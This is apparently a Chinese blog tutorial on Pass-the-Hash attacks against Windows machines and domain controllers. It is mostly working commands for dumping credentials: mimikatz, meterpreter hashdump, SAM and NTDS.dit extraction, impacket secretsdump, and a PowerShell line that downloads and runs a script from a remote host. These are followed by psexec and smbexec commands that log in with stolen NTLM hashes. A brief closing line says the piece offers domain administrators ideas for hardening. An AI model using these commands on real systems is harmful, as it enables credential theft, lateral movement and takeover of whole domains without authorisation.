HASH传递(PTH)

PTH,即Pass-The-Hash,首先我们来说下为什么要使用HASH传递,一是再目标机>=win server 2012时,lsass.exe进程中是抓不到明文密码的,二是随着信息安全意识的提高,弱口令情况逐渐降低,我们经常会遇到拿到hash却解不开的情况,综上,只有hash,我们依然可以正常登录。
PTH攻击最酷的地方并不是hash传递利用的过程,而是hash的获取过程,所以接下来90%的篇幅为hash获取的内容,开工!

Hash获取

普通PC的Hash获取
  • 一、神器mimikatz的本地抓取必须提一下,但你首先得拥有本地管理员的执行的权限。
privilege::debug
sekurlsa::logonpasswords
  • 二、Nishang,powershell的代表,我们之前讲过的,它也是具备获取hash的能力的,我们再来回顾下:
powershell iex (New-Object Net.WebClient).DownloadString('http://192.168.15.216:8888/Gather/Get-PassHashes.ps1');Get-PassHashes
  • 三、个人钟爱的msf,我们来梳理下msf支持多少中hash获取方式。
    hashdump
    run hashdump
    run post/windows/gather/smart_hashdump
    除了meterpreter自带的,还可以通过加载mimikatz获得:
    load mimikatz(必须,否则无以下命令)
    msv
    tspkg
    wdigest
    kerberos
    ssp
    对应字段如下,着重提下ssp,之前没留意这个字段,今天才发现记录的居然是ipc$的密码,惊,因为小伙伴刚刚传过文件,所以这里有记录了,所以给打个码。

mimikatz的原生命令在这里有些不在适用,但记得hash获取命令:mimikatz_command -f samdump::hashes

  • 四、SAM表获取hash

导出SAM数据:

reg save HKLM\SYSTEM SYSTEM 
reg save HKLM\SAM SAM

使用mimikatz提取hash:

lsadump::sam /sam:SAM /system:SYSTEM
域的Hash获取

首先同普通PC的Hash获取思路,但是不一样的是,你要晓得两件事情

  • 一:即使是DC,常规获取hash的思路你依然只能获取本地用户的hash,并不能获取整个域的用户hash,当然,你依然可以拿到域管理员的hash,确实也有了登录整个域的权限。
  • 二:即使是域内用户机,常规获取hash的思路依然有可能拿到域管理员的hash,只要域管理员通过RDP登录过,就会将hash保存到lsass中。

NTDS.dit获取域控hash
这个思路在域渗透中尤为重要,因为这里面包含着所有域用户的hash,当然该思路只对DC生效。

  • 手动导出NTDS.dit和System-hive,本地或目标机导hash,因为,如果域足够大,该文件也会特别大。
    除了手动找路径,可以参见下面的导出命令:
ntdsutil "ac i ntds" ifm "create full c:\users\tmp" q q

我这里域用户只有几个,文件高达36M。

接下来我们需要提取用户hash,推荐NTDSDumpEx:

工具地址:https://github.com/zcgonvh/NTDSDumpEx/releases

NTDSDumpEx -d ntds.dit -s system -o domain.txt

同样,再推荐个工具,还是我们多次提到过的python第三方库impacket下的secretsdump。

python secretsdump.py -system SYSTEM -ntds ntds.dit local
  • secretsdump脚本直接导出域hash

为什么要再提一遍secretsdump呢,因为它可以直接导出,说白了,就是把我们的手工任务自动执行一边,放在最后说也是为了让大家明白它的工作原理。

python secretsdump.py rabbitmask:1q2w3e4r!@192.168.15.181

首先它会导出本地SAM中的hash:

然后是所有域内用户的IP,全部获取成功。

Hash传递

首先恭喜在读的你,终于熬到了扣题的环节,这里我们提两种方式。

msf_psexec模块
use exploit/windows/smb/psexec
set rhosts 192.168.15.181
set smbuser rabbitmask
set smbpass aad3b435b51404eeaad3b435b51404ee:0515322a55615056aaabb044a48463a4
impacket_smbexec
python smbexec.py -hash esaad3b435b51404eeaad3b435b51404ee:0515322a55615056aaabb044a48463a4 rabbitmask@192.168.15.181

or

python smbexec.py -hashes :0515322a55615056aaabb044a48463a4 rabbitmask@192.168.15.181

显然,其实它只需要NThash部分就好啦。

END

这就是内网渗透中的PTH操作,与其说是漏洞,其实他是验证逻辑中的一部分,希望本文可以提供给域管一些来自对立面的加固思路,感谢一位不愿透露姓名内网渗透大佬的全程指导,鞠躬。

推荐阅读更多精彩内容